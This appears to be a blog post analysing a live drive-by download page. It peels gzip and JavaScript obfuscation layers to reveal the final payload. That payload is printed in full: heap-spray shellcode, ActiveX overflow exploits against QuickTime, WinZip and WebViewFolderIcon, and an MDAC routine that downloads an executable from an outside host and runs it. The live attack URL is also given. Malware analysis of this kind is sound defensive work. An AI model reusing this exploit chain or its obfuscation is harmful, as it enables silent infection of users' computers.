driveby malware analysis
I thought I'd have a look at an active drive-by exploit located at http://88.255.96.246/freehost1/georg/index.php?id=0290 (!Caution! contains live trojan(s)!)
I used XP patched up until SP2 only, and tcpdump to capture the network traffic.
I've tidied and trimmed the code and hex dumps used below for better readability.
The html below was used to execute js snippets.
<html>
<script>
var results;
function runJs() {
var srcjs = document.getElementById('srcjs').value;
eval(srcjs);
results = "<textarea rows=15 cols=100><!--"+results+"--></textarea>";
document.getElementById('results').innerHTML = results;
}
</script>
<body>
<textarea id="srcjs" rows=15 cols=100>
results = 'lee';
</textarea><br>
<button onclick="runJs();">run</button>
<br>
<div id="results"></div>
</body>
</html>
You just need to make the js return the result in the variable 'results'.
Part 1 de-obfusticate - Peeling the onion The outer layer appears to make use of http itself by using gzip content encoding as seen here in the http headers:
00000000 47 45 54 20 2f 66 72 65 65 68 6f 73 74 31 2f 67 |GET /freehost1/g|
00000010 65 6f 72 67 2f 69 6e 64 65 78 2e 70 68 70 3f 69 |eorg/index.php?i|
00000020 64 3d 30 32 39 30 20 48 54 54 50 2f 31 2e 31 0d |d=0290 HTTP/1.1.|
00000030 0a 41 63 63 65 70 74 3a 20 69 6d 61 67 65 2f 67 |.Accept: image/g|
00000040 69 66 2c 20 69 6d 61 67 65 2f 78 2d 78 62 69 74 |if, image/x-xbit|
00000050 6d 61 70 2c 20 69 6d 61 67 65 2f 6a 70 65 67 2c |map, image/jpeg,|
00000060 20 69 6d 61 67 65 2f 70 6a 70 65 67 2c 20 61 70 | image/pjpeg, ap|
00000070 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 |plication/x-shoc|
00000080 6b 77 61 76 65 2d 66 6c 61 73 68 2c 20 2a 2f 2a |kwave-flash, */*|
00000090 0d 0a 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 |..Accept-Languag|
000000a0 65 3a 20 65 6e 2d 67 62 0d 0a 41 63 63 65 70 74 |e: en-gb..Accept|
000000b0 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c |-Encoding: gzip,|
000000c0 20 64 65 66 6c 61 74 65 0d 0a 55 73 65 72 2d 41 | deflate..User-A|
000000d0 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e |gent: Mozilla/4.|
000000e0 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d |0 (compatible; M|
000000f0 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77 73 |SIE 6.0; Windows|
00000100 20 4e 54 20 35 2e 31 3b 20 53 56 31 29 0d 0a 48 | NT 5.1; SV1)..H|
00000110 6f 73 74 3a 20 38 38 2e 32 35 35 2e 39 34 2e 32 |ost: 88.255.94.2|
00000120 34 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 |46..Connection: |
00000130 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 0d 0a 48 54 |Keep-Alive....HT|
00000140 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 |TP/1.1 200 OK..D|
00000150 61 74 65 3a 20 53 61 74 2c 20 30 38 20 44 65 63 |ate: Sat, 08 Dec|
00000160 20 32 30 30 37 20 31 35 3a 34 33 3a 30 38 20 47 | 2007 15:43:08 G|
00000170 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 |MT..Server: Apac|
00000180 68 65 2f 32 0d 0a 58 2d 50 6f 77 65 72 65 64 2d |he/2..X-Powered-|
00000190 42 79 3a 20 50 48 50 2f 35 2e 32 2e 34 0d 0a 56 |By: PHP/5.2.4..V|
000001a0 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f |ary: Accept-Enco|
000001b0 64 69 6e 67 2c 55 73 65 72 2d 41 67 65 6e 74 0d |ding,User-Agent.|
000001c0 0a 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e |.Content-Encodin|
000001d0 67 3a 20 67 7a 69 70 0d 0a 43 6f 6e 74 65 6e 74 |g: gzip..Content| <<< gzip'd
000001e0 2d 4c 65 6e 67 74 68 3a 20 35 39 30 36 0d 0a 4b |-Length: 5906..K|
000001f0 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f |eep-Alive: timeo|
00000200 75 74 3d 31 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 |ut=1, max=100..C|
00000210 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d |onnection: Keep-|
00000220 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 |Alive..Content-T|
00000230 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a |ype: text/html..|
Trivial to decode (just run the 5906 bytes of content through gunzip), but a nice way to hide from a casual look and naive filters.
bash# tail -c 5906 index.bin | gunzip > index.html
Gives us:
<Script Language='JavaScript'>
document.write(
unescape('
%3C%73%63%72%69%70%74%3E%0D%0A%66%75%6E%63%74%69%6F%6E%20%7A%58%28%73%29%0D%0A%7B%0D%0A%76%61
%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%20%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E
%67%74%68%2D%31%29%29%3B%20%0D%0A%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73
%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%20%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61
%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72
%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%20%0D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69
%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%20%7D%0D%0A%3C%2F%73%63%72%69%70%74%3E
'));
zX('
%2A8Hxhwnuy%2A75qfslzflj%2A8IOf%7BfXhwnuy%2A8Jkzshynts%2A75ih%2A7%3D%7D%2A7%3E%2A%3CG%7Bfw
%2A75q%2A8I%7D3qjslym%2A7Hn%2A7Ho%2A7Hw%2A7Hg%2A8I%2A7%3D759%3D%2A7K7%2A7%3E%2A7Hu%2A8I5%2A7Hx
%2A8I5%2A7H%7C%2A8I5%2A7H%2A75y%2A8IFwwf%7E%2A7%3D%3B8%2A7H%3E%2A7H8%3A%2A7H8%3B%2A7H9%3C
...trimmed...
%7BJzr%7FX%7C8%7CVjY%3BzNKiZLgVXg%5D%3C%7FNKiZLgVfSZy%7DNKiZr%2A77%2A7%3E%2A8H%2A7Kxhwn
uy%2A8J5');
</Script>
We can see we are now into the first javascript layer which is broken up into two parts. The first section immediately writes out a url encoded string. This decodes to:
<script>
function zX(s) {
var s1=unescape( s.substr(0,s.length-1) );
var t='';
for (i=0;i<s1.length;i++)
t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));
document.write(unescape(t));
}
</script>
Which is the decoder function used in section two. Used together:
<script language=JavaScript>
function dc(x){
var l=x.length,i,j,r,b=(2048/2),p=0,s=0,w=0,
t=Array(63,9,35,36,47,32,4,7,51,39,0,0,0,0,0,0,61,44,8,40,34,30,52,25,15,16,13,6,50,60,56,28,
58,21,2,24,49,48,26,14,33,43,53,0,0,0,0,31,0,18,20,19,29,57,41,54,59,46,62,11,10,1,42,27,55,
37,45,38,5,12,0,17,22,23,3 );
for(j= Math.ceil(l/b);j>0;j--) {
r='';
for(i=Math.min(l,b);i>0; i--,l--) {
w|=(t[ x.charCodeAt(p++)-48])<<s;
if(s){
r+=String.fromCharCode(122^w&255);
w>>=8;
s-=2
} else {
s=6
}
}
document.write(r)
}
}
dc("Vd7OKQqz_B5zo5U7oI3waNUtxIFdUG36_AX76d7OKeU6WST76GbQWuXzxMmwpm9w13mRcC5zVGTKbFTzoFT77XtuoUUK
f3mRcC5zSwFdUd7OuAmRVdT7ybmRzCZwVwT7JCZWB5UKzBZbmd7OuAmRVdT7ybR7xAw7Vd3xltFdUd7OOMvtGNU6QIXxaAmz
cIw7aJqxmCZt_OwtBuUwyMTtQ5UvmfQR_N5kcOT7QM5zaXq6oUU6bFXbcXqQVX3alfFbmfZmpmpdUTTzb3XzcbmtVZT7W3DR
...trimmed...
R_NUwktFdUJpO8JpmpmpO8JpmpmpO8dUdUJpmpmpdUJ7R_NUzBIXxBMXzmd7O7O7Opm77HIwKWuwtbCQRWAmRWBZbVtUdUd7
O8Jm7V1ZxVd2Hh32bcfZbVt5x1NUKBNIJuMmROSwtJBqact3x7O7OpmpmpmpdUGbQ13mRcC5z6d7OKQq6_AX76d7OKXwtEu5
xQIXtQAX77XQRWAmRWBZbSwFdUG37cU5xcNTwSdTvEumzSw3wQeT6uIFdUGbQSbX7zIFdUGbQaNUtxIFdUm")
</script>
Again we get a decoder function and a call to that function with the next encoded layer as the first parameter. Allowed to safely write out it's payload:
</textarea><html>
<head>
<title></title>
<script language="JavaScript">
var memory = new Array();
var mem_flag = 0;
function having() { memory=memory; setTimeout("having()", 2000); }
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{spraySlide += spraySlide;}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
function makeSlide()
{
var heapSprayToAddress = 0x0c0c0c0c;
var payLoadCode = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33" +
"%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb" +
"%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7" +
"%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96" +
"%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85" +
"%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa" +
"%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf" +
"%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc" +
"%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba" +
"%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec" +
"%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c" +
"%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4" +
"%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07" +
"%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u382F%u2E38%u3532%u2E35%u3439%u322E%u3634%u662F" +
%u6572%u6865%u736F%u3174%u672F%u6F65%u6772%u662F%u6C69%u2E65%u6870%u3F70%u6469%u303D%u3932%u0030");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
mem_flag = 1;
having();
return memory;
}
function startWVF()
{
for (i=0;i<128;i++)
{
try{
var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'
+'ewFol'+'derI'+'con.1');
d = 0x7ffffffe;
b = 0x0c0c0c0c
tar.setSlice(d, b, b, b );
}catch(e){}
}
}
function startWinZip(object)
{
var xh = 'A';
while (xh.length < 231) xh+='A';
xh+="\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
object.CreateNewFolderFromName(xh);
}
function startOverflow(num)
{
if (num == 0) {
try {
var qt = new ActiveXObject('QuickTime.QuickTime');
if (qt) {
var qthtml = '<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-
D3488ABDDC6B" width="1" height="1" style="i
border:0px">'+
'<param name="src" value="qt.php">'+
'<param name="autoplay" value="true">'+
'<param name="loop" value="false">'+
'<param name="controller" value="true">'+
'</object>';
if (! mem_flag) makeSlide();
document.getElementById('mydiv').innerHTML = qthtml;
num = 255;
}
} catch(e) { }
if (num = 255) setTimeout("startOverflow(1)", 2000);
else startOverflow(1);
} else if (num == 1) {
try {
var winzip = document.createElement("object");
winzip.setAttribute("classid", "clsid:A09AE68F-B14D-43ED-B713-BA413F034904");
var ret=winzip.CreateNewFolderFromName(unescape("%00"));
if (ret == false) {
if (! mem_flag) makeSlide();
startWinZip(winzip);
num = 255;
}
} catch(e) { }
if (num = 255) setTimeout("startOverflow(2)", 2000);
else startOverflow(2);
} else if (num == 2) {
try {
var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'+'ewFol'+
'derI'+'con.1');
if (tar) {
if (! mem_flag) makeSlide();
startWVF();
}
} catch(e) { }
}
}
function GetRandString(len)
{
var chars = "abcdefghiklmnopqrstuvwxyz";
var string_length = len;
var randomstring = '';
for (var i=0; i<string_length; i++) {
var rnum = Math.floor(Math.random() * chars.length);
randomstring += chars.substring(rnum,rnum+1);
}
return randomstring;
}
function CreateObject(CLSID, name) {
var r = null;
try { eval('r = CLSID.CreateObject(name)') }catch(e){}
if (! r) { try { eval('r = CLSID.CreateObject(name, "")') }catch(e){} }
if (! r) { try { eval('r = CLSID.CreateObject(name, "", "")') }catch(e){} }
if (! r) { try { eval('r = CLSID.GetObject("", name)') }catch(e){} }
if (! r) { try { eval('r = CLSID.GetObject(name, "")') }catch(e){} }
if (! r) { try { eval('r = CLSID.GetObject(name)') }catch(e){} }
return(r);
}
function XMLHttpDownload(xml, url) {
try {
xml.open("GET", url, false);
xml.send(null);
} catch(e) { return 0; }
return xml.responseBody;
}
function ADOBDStreamSave(o, name, data) {
try {
o.Type = 1;
o.Mode = 3;
o.Open();
o.Write(data);
o.SaveToFile(name, 2);
o.Close();
} catch(e) { return 0; }
return 1;
}
function ShellExecute(exec, name, type) {
if (type == 0) {
try { exec.Run(name, 0); return 1; } catch(e) { }
} else {
try { exe.ShellExecute(name); return 1; } catch(e) { }
}
return(0);
}
function MDAC() {
var t = new Array('{BD96C556-65A3-11D0-983A-00C04FC29E30}',
'{BD96C556-65A3-11D0-983A-00C04FC29E36}',
'{AB9BCEDD-EC7E-47E1-9322-D4A210617116}',
'{0006F033-0000-0000-C000-000000000046}',
'{0006F03A-0000-0000-C000-000000000046}',
'{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}',
'{6414512B-B978-451D-A0D8-FCFDF33E833C}',
'{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}',
'{06723E09-F4C2-43c8-8358-09FCD1DB0766}',
'{639F725F-1B2D-4831-A9FD-874847682010}',
'{BA018599-1DB3-44f9-83B4-461454C84BF8}',
'{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}',
'{E8CCCDDF-CA28-496b-B050-6C07C962476B}', null);
var v = new Array(null, null, null);
var i = 0;
var n = 0;
var ret = 0;
var urlRealExe = 'http://88.255.94.246/freehost1/georg/file.php?id=0290';
while (t[i] && (! v[0] || ! v[1] || ! v[2]) ) {
var a = null;
try {
a = document.createElement("object");
a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1));
} catch(e) { a = null; }
if (a) {
if (! v[0]) {
v[0] = CreateObject(a, "msxml2.XMLHTTP");
if (! v[0]) v[0] = CreateObject(a, "Microsoft.XMLHTTP");
if (! v[0]) v[0] = CreateObject(a, "MSXML2.ServerXMLHTTP");
}
if (! v[1]) {
v[1] = CreateObject(a, "ADODB.Stream");
}
if (! v[2]) {
v[2] = CreateObject(a, "WScript.Shell");
if (! v[2]) {
v[2] = CreateObject(a, "Shell.Application");
if (v[2]) n=1;
}
}
}
i++;
}
if (v[0] && v[1] && v[2]) {
var data = XMLHttpDownload(v[0], urlRealExe);
if (data != 0) {
var name = "c:\\sys"+GetRandString(4)+".exe";
if (ADOBDStreamSave(v[1], name, data) == 1) {
if (ShellExecute(v[2], name, n) == 1) {
ret=1;
}
}
}
}
return ret;
}
function start() {
if (! MDAC() ) { startOverflow(0); }
}
</script>
</head>
<body onload="start()">
<div id="mydiv"></div>
</body>
</html>
That's what we were looking for... ;-)